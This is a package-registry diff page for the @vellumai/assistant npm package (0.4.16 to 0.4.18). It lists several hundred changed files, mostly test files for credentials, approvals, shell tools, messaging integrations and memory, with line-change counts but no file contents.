@vellumai/assistant 0.4.16 → 0.4.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (536) hide show
  1. package/Dockerfile +6 -6
  2. package/README.md +1 -2
  3. package/eslint.config.mjs +2 -2
  4. package/package.json +1 -1
  5. package/src/__tests__/access-request-decision.test.ts +128 -120
  6. package/src/__tests__/account-registry.test.ts +121 -110
  7. package/src/__tests__/active-skill-tools.test.ts +200 -172
  8. package/src/__tests__/actor-token-service.test.ts +341 -274
  9. package/src/__tests__/agent-loop-thinking.test.ts +28 -19
  10. package/src/__tests__/agent-loop.test.ts +798 -378
  11. package/src/__tests__/anthropic-provider.test.ts +405 -247
  12. package/src/__tests__/app-builder-tool-scripts.test.ts +97 -97
  13. package/src/__tests__/app-bundler.test.ts +112 -79
  14. package/src/__tests__/app-executors.test.ts +205 -178
  15. package/src/__tests__/app-git-history.test.ts +90 -73
  16. package/src/__tests__/app-git-service.test.ts +67 -53
  17. package/src/__tests__/app-open-proxy.test.ts +29 -25
  18. package/src/__tests__/approval-conversation-turn.test.ts +100 -81
  19. package/src/__tests__/approval-hardcoded-copy-guard.test.ts +45 -17
  20. package/src/__tests__/approval-message-composer.test.ts +119 -119
  21. package/src/__tests__/approval-primitive.test.ts +264 -233
  22. package/src/__tests__/approval-routes-http.test.ts +4 -3
  23. package/src/__tests__/asset-materialize-tool.test.ts +250 -178
  24. package/src/__tests__/asset-search-tool.test.ts +251 -191
  25. package/src/__tests__/assistant-attachment-directive.test.ts +187 -142
  26. package/src/__tests__/assistant-attachments.test.ts +254 -186
  27. package/src/__tests__/assistant-event-hub.test.ts +105 -63
  28. package/src/__tests__/assistant-event.test.ts +66 -58
  29. package/src/__tests__/assistant-events-sse-hardening.test.ts +113 -73
  30. package/src/__tests__/assistant-feature-flag-guard.test.ts +78 -52
  31. package/src/__tests__/assistant-feature-flag-guardrails.test.ts +48 -45
  32. package/src/__tests__/assistant-feature-flags-integration.test.ts +118 -77
  33. package/src/__tests__/assistant-id-boundary-guard.test.ts +158 -104
  34. package/src/__tests__/attachments-store.test.ts +240 -183
  35. package/src/__tests__/attachments.test.ts +70 -62
  36. package/src/__tests__/audit-log-rotation.test.ts +50 -35
  37. package/src/__tests__/browser-fill-credential.test.ts +169 -101
  38. package/src/__tests__/browser-manager.test.ts +97 -75
  39. package/src/__tests__/browser-runtime-check.test.ts +16 -15
  40. package/src/__tests__/browser-skill-baseline-tool-payload.test.ts +12 -10
  41. package/src/__tests__/browser-skill-endstate.test.ts +97 -72
  42. package/src/__tests__/bundle-scanner.test.ts +47 -22
  43. package/src/__tests__/bundled-asset.test.ts +74 -47
  44. package/src/__tests__/call-constants.test.ts +19 -19
  45. package/src/__tests__/call-controller.test.ts +1073 -751
  46. package/src/__tests__/call-conversation-messages.test.ts +90 -65
  47. package/src/__tests__/call-domain.test.ts +149 -121
  48. package/src/__tests__/call-pointer-message-composer.test.ts +113 -83
  49. package/src/__tests__/call-pointer-messages.test.ts +213 -154
  50. package/src/__tests__/call-pointer-no-hardcoded-copy.guard.test.ts +9 -10
  51. package/src/__tests__/call-recovery.test.ts +232 -212
  52. package/src/__tests__/call-routes-http.test.ts +328 -279
  53. package/src/__tests__/call-start-guardian-guard.test.ts +32 -30
  54. package/src/__tests__/call-state-machine.test.ts +62 -51
  55. package/src/__tests__/call-state.test.ts +89 -75
  56. package/src/__tests__/call-store.test.ts +387 -316
  57. package/src/__tests__/callback-handoff-copy.test.ts +84 -82
  58. package/src/__tests__/canonical-guardian-store.test.ts +331 -280
  59. package/src/__tests__/channel-approval-routes.test.ts +1643 -1126
  60. package/src/__tests__/channel-approval.test.ts +139 -137
  61. package/src/__tests__/channel-approvals.test.ts +226 -182
  62. package/src/__tests__/channel-delivery-store.test.ts +232 -194
  63. package/src/__tests__/channel-guardian.test.ts +6 -3
  64. package/src/__tests__/channel-invite-transport.test.ts +107 -92
  65. package/src/__tests__/channel-policy.test.ts +42 -38
  66. package/src/__tests__/channel-readiness-service.test.ts +119 -102
  67. package/src/__tests__/channel-reply-delivery.test.ts +147 -118
  68. package/src/__tests__/channel-retry-sweep.test.ts +153 -110
  69. package/src/__tests__/checker.test.ts +3309 -1850
  70. package/src/__tests__/clarification-resolver.test.ts +91 -79
  71. package/src/__tests__/classifier.test.ts +64 -54
  72. package/src/__tests__/claude-code-skill-regression.test.ts +42 -37
  73. package/src/__tests__/claude-code-tool-profiles.test.ts +31 -29
  74. package/src/__tests__/clawhub.test.ts +92 -82
  75. package/src/__tests__/cli.test.ts +30 -30
  76. package/src/__tests__/clipboard.test.ts +53 -46
  77. package/src/__tests__/commit-guarantee.test.ts +59 -52
  78. package/src/__tests__/commit-message-enrichment-service.test.ts +203 -75
  79. package/src/__tests__/compaction.benchmark.test.ts +33 -31
  80. package/src/__tests__/computer-use-session-compaction.test.ts +60 -50
  81. package/src/__tests__/computer-use-session-lifecycle.test.ts +145 -117
  82. package/src/__tests__/computer-use-session-working-dir.test.ts +62 -48
  83. package/src/__tests__/computer-use-skill-baseline.test.ts +22 -19
  84. package/src/__tests__/computer-use-skill-endstate.test.ts +45 -31
  85. package/src/__tests__/computer-use-skill-lifecycle-cleanup.test.ts +121 -88
  86. package/src/__tests__/computer-use-skill-manifest-regression.test.ts +65 -42
  87. package/src/__tests__/computer-use-skill-proxy-bridge.test.ts +33 -18
  88. package/src/__tests__/computer-use-tools.test.ts +121 -98
  89. package/src/__tests__/config-schema.test.ts +443 -347
  90. package/src/__tests__/config-watcher.test.ts +96 -81
  91. package/src/__tests__/confirmation-request-guardian-bridge.test.ts +148 -133
  92. package/src/__tests__/conflict-intent-tokenization.test.ts +96 -78
  93. package/src/__tests__/conflict-policy.test.ts +151 -80
  94. package/src/__tests__/conflict-store.test.ts +203 -157
  95. package/src/__tests__/connection-policy.test.ts +89 -59
  96. package/src/__tests__/contacts-tools.test.ts +247 -178
  97. package/src/__tests__/context-memory-e2e.test.ts +306 -214
  98. package/src/__tests__/context-token-estimator.test.ts +114 -74
  99. package/src/__tests__/context-window-manager.test.ts +269 -167
  100. package/src/__tests__/contradiction-checker.test.ts +161 -135
  101. package/src/__tests__/conversation-attention-store.test.ts +350 -290
  102. package/src/__tests__/conversation-attention-telegram.test.ts +156 -114
  103. package/src/__tests__/conversation-pairing.test.ts +220 -113
  104. package/src/__tests__/conversation-routes-guardian-reply.test.ts +164 -104
  105. package/src/__tests__/conversation-routes.test.ts +71 -41
  106. package/src/__tests__/conversation-store.test.ts +390 -235
  107. package/src/__tests__/credential-broker-browser-fill.test.ts +325 -250
  108. package/src/__tests__/credential-broker-server-use.test.ts +283 -243
  109. package/src/__tests__/credential-broker.test.ts +128 -74
  110. package/src/__tests__/credential-host-pattern-match.test.ts +64 -44
  111. package/src/__tests__/credential-metadata-store.test.ts +360 -311
  112. package/src/__tests__/credential-policy-validate.test.ts +81 -65
  113. package/src/__tests__/credential-resolve.test.ts +212 -145
  114. package/src/__tests__/credential-security-e2e.test.ts +144 -103
  115. package/src/__tests__/credential-security-invariants.test.ts +253 -208
  116. package/src/__tests__/credential-selection.test.ts +254 -146
  117. package/src/__tests__/credential-vault-unit.test.ts +531 -341
  118. package/src/__tests__/credential-vault.test.ts +761 -484
  119. package/src/__tests__/daemon-assistant-events.test.ts +91 -66
  120. package/src/__tests__/daemon-lifecycle.test.ts +258 -190
  121. package/src/__tests__/daemon-server-session-init.test.ts +257 -191
  122. package/src/__tests__/date-context.test.ts +314 -249
  123. package/src/__tests__/db-migration-rollback.test.ts +259 -130
  124. package/src/__tests__/db-schedule-syntax-migration.test.ts +78 -41
  125. package/src/__tests__/delete-managed-skill-tool.test.ts +77 -53
  126. package/src/__tests__/deterministic-verification-control-plane.test.ts +183 -135
  127. package/src/__tests__/dictation-mode-detection.test.ts +77 -55
  128. package/src/__tests__/dictation-profile-store.test.ts +70 -56
  129. package/src/__tests__/dictation-text-processing.test.ts +53 -35
  130. package/src/__tests__/diff.test.ts +102 -98
  131. package/src/__tests__/domain-normalize.test.ts +54 -54
  132. package/src/__tests__/domain-policy.test.ts +71 -55
  133. package/src/__tests__/dynamic-page-surface.test.ts +31 -33
  134. package/src/__tests__/dynamic-skill-workflow-prompt.test.ts +69 -69
  135. package/src/__tests__/edit-engine.test.ts +56 -56
  136. package/src/__tests__/elevenlabs-client.test.ts +117 -91
  137. package/src/__tests__/elevenlabs-config.test.ts +32 -31
  138. package/src/__tests__/email-classifier.test.ts +15 -12
  139. package/src/__tests__/email-cli.test.ts +121 -108
  140. package/src/__tests__/emit-signal-routing-intent.test.ts +76 -69
  141. package/src/__tests__/encrypted-store.test.ts +180 -154
  142. package/src/__tests__/entity-extractor.test.ts +108 -87
  143. package/src/__tests__/entity-search.test.ts +664 -258
  144. package/src/__tests__/ephemeral-permissions.test.ts +224 -188
  145. package/src/__tests__/event-bus.test.ts +81 -77
  146. package/src/__tests__/extract-email.test.ts +51 -0
  147. package/src/__tests__/file-edit-tool.test.ts +62 -44
  148. package/src/__tests__/file-ops-service.test.ts +131 -114
  149. package/src/__tests__/file-read-tool.test.ts +48 -31
  150. package/src/__tests__/file-write-tool.test.ts +43 -37
  151. package/src/__tests__/filesystem-tools.test.ts +238 -209
  152. package/src/__tests__/followup-tools.test.ts +237 -162
  153. package/src/__tests__/forbidden-legacy-symbols.test.ts +19 -20
  154. package/src/__tests__/frontmatter.test.ts +96 -81
  155. package/src/__tests__/fuzzy-match-property.test.ts +75 -81
  156. package/src/__tests__/fuzzy-match.test.ts +71 -65
  157. package/src/__tests__/gateway-client-managed-outbound.test.ts +76 -57
  158. package/src/__tests__/gateway-only-enforcement.test.ts +467 -369
  159. package/src/__tests__/gateway-only-guard.test.ts +54 -56
  160. package/src/__tests__/gemini-image-service.test.ts +113 -100
  161. package/src/__tests__/gemini-provider.test.ts +297 -220
  162. package/src/__tests__/get-weather.test.ts +188 -114
  163. package/src/__tests__/gmail-integration.test.ts +47 -46
  164. package/src/__tests__/guardian-action-conversation-turn.test.ts +226 -171
  165. package/src/__tests__/guardian-action-copy-generator.test.ts +111 -93
  166. package/src/__tests__/guardian-action-followup-executor.test.ts +215 -151
  167. package/src/__tests__/guardian-action-followup-store.test.ts +199 -167
  168. package/src/__tests__/guardian-action-grant-mint-consume.test.ts +297 -250
  169. package/src/__tests__/guardian-action-late-reply.test.ts +462 -316
  170. package/src/__tests__/guardian-action-no-hardcoded-copy.test.ts +23 -18
  171. package/src/__tests__/guardian-action-store.test.ts +158 -109
  172. package/src/__tests__/guardian-action-sweep.test.ts +114 -100
  173. package/src/__tests__/guardian-actions-endpoint.test.ts +440 -256
  174. package/src/__tests__/guardian-control-plane-policy.test.ts +497 -331
  175. package/src/__tests__/guardian-decision-primitive-canonical.test.ts +217 -215
  176. package/src/__tests__/guardian-dispatch.test.ts +316 -256
  177. package/src/__tests__/guardian-grant-minting.test.ts +247 -178
  178. package/src/__tests__/guardian-outbound-http.test.ts +337 -209
  179. package/src/__tests__/guardian-principal-id-roundtrip.test.ts +99 -96
  180. package/src/__tests__/guardian-question-copy.test.ts +17 -17
  181. package/src/__tests__/guardian-question-mode.test.ts +134 -100
  182. package/src/__tests__/guardian-routing-invariants.test.ts +679 -613
  183. package/src/__tests__/guardian-routing-state.test.ts +256 -209
  184. package/src/__tests__/guardian-verification-intent-routing.test.ts +94 -88
  185. package/src/__tests__/guardian-verification-voice-binding.test.ts +47 -41
  186. package/src/__tests__/guardian-verify-setup-skill-regression.test.ts +0 -1
  187. package/src/__tests__/handle-user-message-secret-resume.test.ts +43 -21
  188. package/src/__tests__/handlers-add-trust-rule-metadata.test.ts +92 -76
  189. package/src/__tests__/handlers-cu-observation-blob.test.ts +103 -70
  190. package/src/__tests__/handlers-ipc-blob-probe.test.ts +77 -51
  191. package/src/__tests__/handlers-slack-config.test.ts +63 -54
  192. package/src/__tests__/handlers-task-submit-slash.test.ts +18 -18
  193. package/src/__tests__/handlers-telegram-config.test.ts +662 -329
  194. package/src/__tests__/handlers-twitter-config.test.ts +525 -298
  195. package/src/__tests__/handlers-user-message-approval-consumption.test.ts +270 -195
  196. package/src/__tests__/headless-browser-interactions.test.ts +444 -280
  197. package/src/__tests__/headless-browser-navigate.test.ts +116 -79
  198. package/src/__tests__/headless-browser-read-tools.test.ts +123 -86
  199. package/src/__tests__/headless-browser-snapshot.test.ts +71 -56
  200. package/src/__tests__/heartbeat-service.test.ts +76 -58
  201. package/src/__tests__/history-repair-observability.test.ts +14 -14
  202. package/src/__tests__/history-repair.test.ts +171 -167
  203. package/src/__tests__/home-base-bootstrap.test.ts +30 -27
  204. package/src/__tests__/hooks-blocking.test.ts +86 -37
  205. package/src/__tests__/hooks-cli.test.ts +104 -68
  206. package/src/__tests__/hooks-config.test.ts +81 -43
  207. package/src/__tests__/hooks-discovery.test.ts +106 -96
  208. package/src/__tests__/hooks-integration.test.ts +78 -72
  209. package/src/__tests__/hooks-manager.test.ts +99 -61
  210. package/src/__tests__/hooks-runner.test.ts +94 -71
  211. package/src/__tests__/hooks-settings.test.ts +69 -64
  212. package/src/__tests__/hooks-templates.test.ts +85 -54
  213. package/src/__tests__/hooks-ts-runner.test.ts +82 -45
  214. package/src/__tests__/hooks-watch.test.ts +32 -22
  215. package/src/__tests__/host-file-edit-tool.test.ts +190 -148
  216. package/src/__tests__/host-file-read-tool.test.ts +86 -63
  217. package/src/__tests__/host-file-write-tool.test.ts +98 -64
  218. package/src/__tests__/host-shell-tool.test.ts +342 -233
  219. package/src/__tests__/inbound-invite-redemption.test.ts +194 -152
  220. package/src/__tests__/ingress-member-store.test.ts +163 -159
  221. package/src/__tests__/ingress-reconcile.test.ts +183 -142
  222. package/src/__tests__/ingress-routes-http.test.ts +441 -356
  223. package/src/__tests__/ingress-url-consistency.test.ts +125 -64
  224. package/src/__tests__/integration-status.test.ts +93 -73
  225. package/src/__tests__/intent-routing.test.ts +148 -118
  226. package/src/__tests__/invite-redemption-service.test.ts +163 -121
  227. package/src/__tests__/ipc-blob-store.test.ts +104 -91
  228. package/src/__tests__/ipc-contract-inventory.test.ts +27 -15
  229. package/src/__tests__/ipc-contract.test.ts +24 -23
  230. package/src/__tests__/ipc-protocol.test.ts +52 -46
  231. package/src/__tests__/ipc-roundtrip.benchmark.test.ts +61 -50
  232. package/src/__tests__/ipc-snapshot.test.ts +1135 -1056
  233. package/src/__tests__/ipc-validate.test.ts +240 -179
  234. package/src/__tests__/key-migration.test.ts +123 -90
  235. package/src/__tests__/keychain.test.ts +150 -123
  236. package/src/__tests__/lifecycle-docs-guard.test.ts +65 -64
  237. package/src/__tests__/llm-usage-store.test.ts +112 -87
  238. package/src/__tests__/managed-skill-lifecycle.test.ts +147 -108
  239. package/src/__tests__/managed-store.test.ts +411 -360
  240. package/src/__tests__/mcp-cli.test.ts +189 -123
  241. package/src/__tests__/mcp-health-check.test.ts +26 -21
  242. package/src/__tests__/media-generate-image.test.ts +122 -99
  243. package/src/__tests__/media-reuse-story.e2e.test.ts +282 -214
  244. package/src/__tests__/media-visibility-policy.test.ts +86 -38
  245. package/src/__tests__/memory-context-benchmark.benchmark.test.ts +146 -100
  246. package/src/__tests__/memory-lifecycle-e2e.test.ts +385 -297
  247. package/src/__tests__/memory-query-builder.test.ts +32 -33
  248. package/src/__tests__/memory-recall-quality.test.ts +761 -407
  249. package/src/__tests__/memory-regressions.experimental.test.ts +443 -380
  250. package/src/__tests__/memory-regressions.test.ts +3725 -2642
  251. package/src/__tests__/memory-retrieval-budget.test.ts +7 -8
  252. package/src/__tests__/memory-retrieval.benchmark.test.ts +144 -109
  253. package/src/__tests__/memory-upsert-concurrency.test.ts +292 -201
  254. package/src/__tests__/messaging-send-tool.test.ts +36 -29
  255. package/src/__tests__/migration-cli-flows.test.ts +69 -53
  256. package/src/__tests__/migration-ordering.test.ts +103 -86
  257. package/src/__tests__/mime-builder.test.ts +55 -32
  258. package/src/__tests__/mock-signup-server.test.ts +384 -246
  259. package/src/__tests__/model-intents.test.ts +61 -37
  260. package/src/__tests__/no-direct-anthropic-sdk-imports.test.ts +9 -12
  261. package/src/__tests__/no-is-trusted-guard.test.ts +24 -21
  262. package/src/__tests__/non-member-access-request.test.ts +294 -249
  263. package/src/__tests__/notification-broadcaster.test.ts +99 -81
  264. package/src/__tests__/notification-decision-fallback.test.ts +223 -178
  265. package/src/__tests__/notification-decision-strategy.test.ts +375 -337
  266. package/src/__tests__/notification-deep-link.test.ts +67 -61
  267. package/src/__tests__/notification-guardian-path.test.ts +248 -206
  268. package/src/__tests__/notification-routing-intent.test.ts +166 -93
  269. package/src/__tests__/notification-telegram-adapter.test.ts +60 -46
  270. package/src/__tests__/notification-thread-candidate-validation.test.ts +78 -75
  271. package/src/__tests__/notification-thread-candidates.test.ts +64 -61
  272. package/src/__tests__/oauth-callback-registry.test.ts +40 -30
  273. package/src/__tests__/oauth-connect-handler.test.ts +109 -89
  274. package/src/__tests__/oauth-scope-policy.test.ts +63 -55
  275. package/src/__tests__/oauth2-gateway-transport.test.ts +252 -174
  276. package/src/__tests__/onboarding-starter-tasks.test.ts +93 -89
  277. package/src/__tests__/onboarding-template-contract.test.ts +93 -94
  278. package/src/__tests__/openai-provider.test.ts +366 -274
  279. package/src/__tests__/pairing-concurrent.test.ts +18 -12
  280. package/src/__tests__/pairing-routes.test.ts +45 -41
  281. package/src/__tests__/parallel-tool.benchmark.test.ts +108 -58
  282. package/src/__tests__/parser.test.ts +316 -226
  283. package/src/__tests__/path-classifier.test.ts +24 -25
  284. package/src/__tests__/path-policy.test.ts +187 -147
  285. package/src/__tests__/phone.test.ts +36 -36
  286. package/src/__tests__/platform-move-helper.test.ts +48 -40
  287. package/src/__tests__/platform-socket-path.test.ts +23 -24
  288. package/src/__tests__/platform-workspace-migration.test.ts +464 -414
  289. package/src/__tests__/platform.test.ts +61 -53
  290. package/src/__tests__/playbook-execution.test.ts +397 -265
  291. package/src/__tests__/playbook-tools.test.ts +267 -196
  292. package/src/__tests__/prebuilt-home-base-seed.test.ts +30 -27
  293. package/src/__tests__/pricing.test.ts +316 -136
  294. package/src/__tests__/profile-compiler.test.ts +206 -188
  295. package/src/__tests__/provider-commit-message-generator.test.ts +114 -106
  296. package/src/__tests__/provider-error-scenarios.test.ts +212 -158
  297. package/src/__tests__/provider-fail-open-selection.test.ts +51 -44
  298. package/src/__tests__/provider-registry-ollama.test.ts +13 -9
  299. package/src/__tests__/provider-streaming.benchmark.test.ts +232 -183
  300. package/src/__tests__/proxy-approval-callback.test.ts +180 -119
  301. package/src/__tests__/public-ingress-urls.test.ts +112 -94
  302. package/src/__tests__/qdrant-manager.test.ts +147 -98
  303. package/src/__tests__/ratelimit.test.ts +152 -82
  304. package/src/__tests__/recording-handler.test.ts +273 -151
  305. package/src/__tests__/recording-intent-fallback.test.ts +94 -75
  306. package/src/__tests__/recording-intent-handler.test.ts +422 -292
  307. package/src/__tests__/recording-intent.test.ts +578 -379
  308. package/src/__tests__/recording-state-machine.test.ts +530 -316
  309. package/src/__tests__/recurrence-engine-rruleset.test.ts +150 -92
  310. package/src/__tests__/recurrence-engine.test.ts +81 -41
  311. package/src/__tests__/recurrence-types.test.ts +63 -44
  312. package/src/__tests__/relay-server.test.ts +2131 -1602
  313. package/src/__tests__/reminder-store.test.ts +158 -80
  314. package/src/__tests__/reminder.test.ts +113 -109
  315. package/src/__tests__/remote-skill-policy.test.ts +96 -72
  316. package/src/__tests__/request-file-tool.test.ts +74 -67
  317. package/src/__tests__/response-tier.test.ts +131 -74
  318. package/src/__tests__/runtime-attachment-metadata.test.ts +107 -70
  319. package/src/__tests__/runtime-events-sse-parity.test.ts +167 -145
  320. package/src/__tests__/runtime-events-sse.test.ts +67 -51
  321. package/src/__tests__/sandbox-diagnostics.test.ts +66 -56
  322. package/src/__tests__/sandbox-host-parity.test.ts +377 -301
  323. package/src/__tests__/scaffold-managed-skill-tool.test.ts +213 -161
  324. package/src/__tests__/schedule-store.test.ts +268 -205
  325. package/src/__tests__/schedule-tools.test.ts +702 -524
  326. package/src/__tests__/scheduler-recurrence.test.ts +240 -130
  327. package/src/__tests__/scoped-approval-grants.test.ts +258 -168
  328. package/src/__tests__/scoped-grant-security-matrix.test.ts +160 -146
  329. package/src/__tests__/script-proxy-certs.test.ts +38 -35
  330. package/src/__tests__/script-proxy-connect-tunnel.test.ts +71 -46
  331. package/src/__tests__/script-proxy-decision-trace.test.ts +161 -84
  332. package/src/__tests__/script-proxy-http-forwarder.test.ts +146 -129
  333. package/src/__tests__/script-proxy-injection-runtime.test.ts +139 -113
  334. package/src/__tests__/script-proxy-mitm-handler.test.ts +226 -142
  335. package/src/__tests__/script-proxy-policy-runtime.test.ts +126 -86
  336. package/src/__tests__/script-proxy-policy.test.ts +308 -153
  337. package/src/__tests__/script-proxy-rewrite-specificity.test.ts +74 -62
  338. package/src/__tests__/script-proxy-router.test.ts +111 -77
  339. package/src/__tests__/script-proxy-session-manager.test.ts +156 -113
  340. package/src/__tests__/script-proxy-session-runtime.test.ts +28 -24
  341. package/src/__tests__/secret-allowlist.test.ts +105 -90
  342. package/src/__tests__/secret-ingress-handler.test.ts +41 -30
  343. package/src/__tests__/secret-onetime-send.test.ts +67 -50
  344. package/src/__tests__/secret-prompt-log-hygiene.test.ts +35 -31
  345. package/src/__tests__/secret-response-routing.test.ts +50 -41
  346. package/src/__tests__/secret-scanner-executor.test.ts +152 -111
  347. package/src/__tests__/secret-scanner.test.ts +495 -413
  348. package/src/__tests__/secure-keys.test.ts +132 -121
  349. package/src/__tests__/send-endpoint-busy.test.ts +313 -232
  350. package/src/__tests__/send-notification-tool.test.ts +43 -42
  351. package/src/__tests__/sensitive-output-placeholders.test.ts +72 -64
  352. package/src/__tests__/sequence-store.test.ts +335 -167
  353. package/src/__tests__/server-history-render.test.ts +341 -202
  354. package/src/__tests__/session-abort-tool-results.test.ts +133 -70
  355. package/src/__tests__/session-approval-overrides.test.ts +93 -91
  356. package/src/__tests__/session-confirmation-signals.test.ts +252 -160
  357. package/src/__tests__/session-conflict-gate.test.ts +775 -585
  358. package/src/__tests__/session-error.test.ts +222 -191
  359. package/src/__tests__/session-evictor.test.ts +79 -62
  360. package/src/__tests__/session-init.benchmark.test.ts +170 -108
  361. package/src/__tests__/session-load-history-repair.test.ts +273 -139
  362. package/src/__tests__/session-messaging-secret-redirect.test.ts +130 -90
  363. package/src/__tests__/session-pre-run-repair.test.ts +106 -59
  364. package/src/__tests__/session-profile-injection.test.ts +198 -130
  365. package/src/__tests__/session-provider-retry-repair.test.ts +223 -141
  366. package/src/__tests__/session-queue.test.ts +624 -321
  367. package/src/__tests__/session-runtime-assembly.test.ts +425 -329
  368. package/src/__tests__/session-runtime-workspace.test.ts +69 -61
  369. package/src/__tests__/session-skill-tools.test.ts +973 -678
  370. package/src/__tests__/session-slash-known.test.ts +185 -133
  371. package/src/__tests__/session-slash-queue.test.ts +147 -81
  372. package/src/__tests__/session-slash-unknown.test.ts +135 -90
  373. package/src/__tests__/session-surfaces-task-progress.test.ts +122 -87
  374. package/src/__tests__/session-tool-setup-app-refresh.test.ts +338 -177
  375. package/src/__tests__/session-tool-setup-memory-scope.test.ts +63 -40
  376. package/src/__tests__/session-tool-setup-side-effect-flag.test.ts +60 -37
  377. package/src/__tests__/session-tool-setup-tools-disabled.test.ts +28 -26
  378. package/src/__tests__/session-undo.test.ts +43 -30
  379. package/src/__tests__/session-workspace-cache-state.test.ts +108 -67
  380. package/src/__tests__/session-workspace-injection.test.ts +245 -117
  381. package/src/__tests__/session-workspace-tool-tracking.test.ts +260 -93
  382. package/src/__tests__/shared-filesystem-errors.test.ts +47 -47
  383. package/src/__tests__/shell-credential-ref.test.ts +126 -90
  384. package/src/__tests__/shell-identity.test.ts +134 -111
  385. package/src/__tests__/shell-parser-fuzz.test.ts +263 -179
  386. package/src/__tests__/shell-parser-property.test.ts +435 -288
  387. package/src/__tests__/shell-tool-proxy-mode.test.ts +142 -70
  388. package/src/__tests__/size-guard.test.ts +42 -44
  389. package/src/__tests__/skill-feature-flags-integration.test.ts +79 -52
  390. package/src/__tests__/skill-feature-flags.test.ts +75 -47
  391. package/src/__tests__/skill-include-graph.test.ts +143 -148
  392. package/src/__tests__/skill-load-feature-flag.test.ts +94 -59
  393. package/src/__tests__/skill-load-tool.test.ts +371 -199
  394. package/src/__tests__/skill-projection-feature-flag.test.ts +131 -88
  395. package/src/__tests__/skill-projection.benchmark.test.ts +93 -65
  396. package/src/__tests__/skill-script-runner-host.test.ts +460 -250
  397. package/src/__tests__/skill-script-runner-sandbox.test.ts +168 -108
  398. package/src/__tests__/skill-script-runner.test.ts +115 -74
  399. package/src/__tests__/skill-tool-factory.test.ts +140 -96
  400. package/src/__tests__/skill-tool-manifest.test.ts +306 -210
  401. package/src/__tests__/skill-version-hash.test.ts +70 -56
  402. package/src/__tests__/skills.test.ts +0 -1
  403. package/src/__tests__/slack-channel-config.test.ts +127 -84
  404. package/src/__tests__/slack-skill.test.ts +60 -47
  405. package/src/__tests__/slash-commands-catalog.test.ts +37 -31
  406. package/src/__tests__/slash-commands-parser.test.ts +71 -64
  407. package/src/__tests__/slash-commands-resolver.test.ts +143 -107
  408. package/src/__tests__/slash-commands-rewrite.test.ts +22 -22
  409. package/src/__tests__/sms-messaging-provider.test.ts +74 -47
  410. package/src/__tests__/speaker-identification.test.ts +28 -25
  411. package/src/__tests__/starter-bundle.test.ts +27 -23
  412. package/src/__tests__/starter-task-flow.test.ts +67 -52
  413. package/src/__tests__/subagent-manager-notify.test.ts +154 -108
  414. package/src/__tests__/subagent-tools.test.ts +311 -270
  415. package/src/__tests__/subagent-types.test.ts +40 -40
  416. package/src/__tests__/surface-mutex-cleanup.test.ts +42 -30
  417. package/src/__tests__/swarm-dag-pathological.test.ts +122 -111
  418. package/src/__tests__/swarm-orchestrator.test.ts +135 -101
  419. package/src/__tests__/swarm-plan-validator.test.ts +125 -73
  420. package/src/__tests__/swarm-recursion.test.ts +58 -46
  421. package/src/__tests__/swarm-router-planner.test.ts +99 -74
  422. package/src/__tests__/swarm-session-integration.test.ts +148 -91
  423. package/src/__tests__/swarm-tool.test.ts +65 -45
  424. package/src/__tests__/swarm-worker-backend.test.ts +59 -45
  425. package/src/__tests__/swarm-worker-runner.test.ts +133 -118
  426. package/src/__tests__/system-prompt.test.ts +290 -256
  427. package/src/__tests__/task-compiler.test.ts +176 -120
  428. package/src/__tests__/task-management-tools.test.ts +561 -456
  429. package/src/__tests__/task-memory-cleanup.test.ts +627 -362
  430. package/src/__tests__/task-runner.test.ts +117 -94
  431. package/src/__tests__/task-scheduler.test.ts +113 -84
  432. package/src/__tests__/task-tools.test.ts +349 -264
  433. package/src/__tests__/terminal-sandbox.test.ts +138 -108
  434. package/src/__tests__/terminal-tools.test.ts +350 -305
  435. package/src/__tests__/thread-seed-composer.test.ts +307 -180
  436. package/src/__tests__/tool-approval-handler.test.ts +238 -137
  437. package/src/__tests__/tool-audit-listener.test.ts +69 -69
  438. package/src/__tests__/tool-domain-event-publisher.test.ts +142 -132
  439. package/src/__tests__/tool-execution-abort-cleanup.test.ts +153 -146
  440. package/src/__tests__/tool-execution-pipeline.benchmark.test.ts +136 -105
  441. package/src/__tests__/tool-executor-lifecycle-events.test.ts +355 -239
  442. package/src/__tests__/tool-executor-redaction.test.ts +112 -109
  443. package/src/__tests__/tool-executor-shell-integration.test.ts +130 -79
  444. package/src/__tests__/tool-executor.test.ts +1274 -674
  445. package/src/__tests__/tool-grant-request-escalation.test.ts +401 -283
  446. package/src/__tests__/tool-metrics-listener.test.ts +97 -85
  447. package/src/__tests__/tool-notification-listener.test.ts +42 -25
  448. package/src/__tests__/tool-permission-simulate-handler.test.ts +137 -113
  449. package/src/__tests__/tool-policy.test.ts +44 -25
  450. package/src/__tests__/tool-profiling-listener.test.ts +99 -93
  451. package/src/__tests__/tool-result-truncation.test.ts +5 -4
  452. package/src/__tests__/tool-trace-listener.test.ts +131 -111
  453. package/src/__tests__/top-level-renderer.test.ts +62 -58
  454. package/src/__tests__/top-level-scanner.test.ts +68 -64
  455. package/src/__tests__/trace-emitter.test.ts +56 -56
  456. package/src/__tests__/trust-context-guards.test.ts +65 -65
  457. package/src/__tests__/trust-store.test.ts +1239 -806
  458. package/src/__tests__/trusted-contact-approval-notifier.test.ts +339 -275
  459. package/src/__tests__/trusted-contact-inline-approval-integration.test.ts +484 -373
  460. package/src/__tests__/trusted-contact-lifecycle-notifications.test.ts +264 -241
  461. package/src/__tests__/trusted-contact-multichannel.test.ts +182 -142
  462. package/src/__tests__/trusted-contact-verification.test.ts +251 -231
  463. package/src/__tests__/turn-commit.test.ts +259 -200
  464. package/src/__tests__/twilio-config.test.ts +49 -41
  465. package/src/__tests__/twilio-provider.test.ts +140 -126
  466. package/src/__tests__/twilio-rest.test.ts +22 -18
  467. package/src/__tests__/twilio-routes-elevenlabs.test.ts +188 -162
  468. package/src/__tests__/twilio-routes-twiml.test.ts +55 -55
  469. package/src/__tests__/twilio-routes.test.ts +389 -281
  470. package/src/__tests__/twitter-auth-handler.test.ts +184 -139
  471. package/src/__tests__/twitter-cli-error-shaping.test.ts +88 -73
  472. package/src/__tests__/twitter-cli-routing.test.ts +146 -99
  473. package/src/__tests__/twitter-oauth-client.test.ts +82 -65
  474. package/src/__tests__/update-bulletin-format.test.ts +69 -66
  475. package/src/__tests__/update-bulletin-state.test.ts +66 -60
  476. package/src/__tests__/update-bulletin.test.ts +150 -114
  477. package/src/__tests__/update-template-contract.test.ts +15 -10
  478. package/src/__tests__/url-safety.test.ts +288 -265
  479. package/src/__tests__/user-reference.test.ts +32 -32
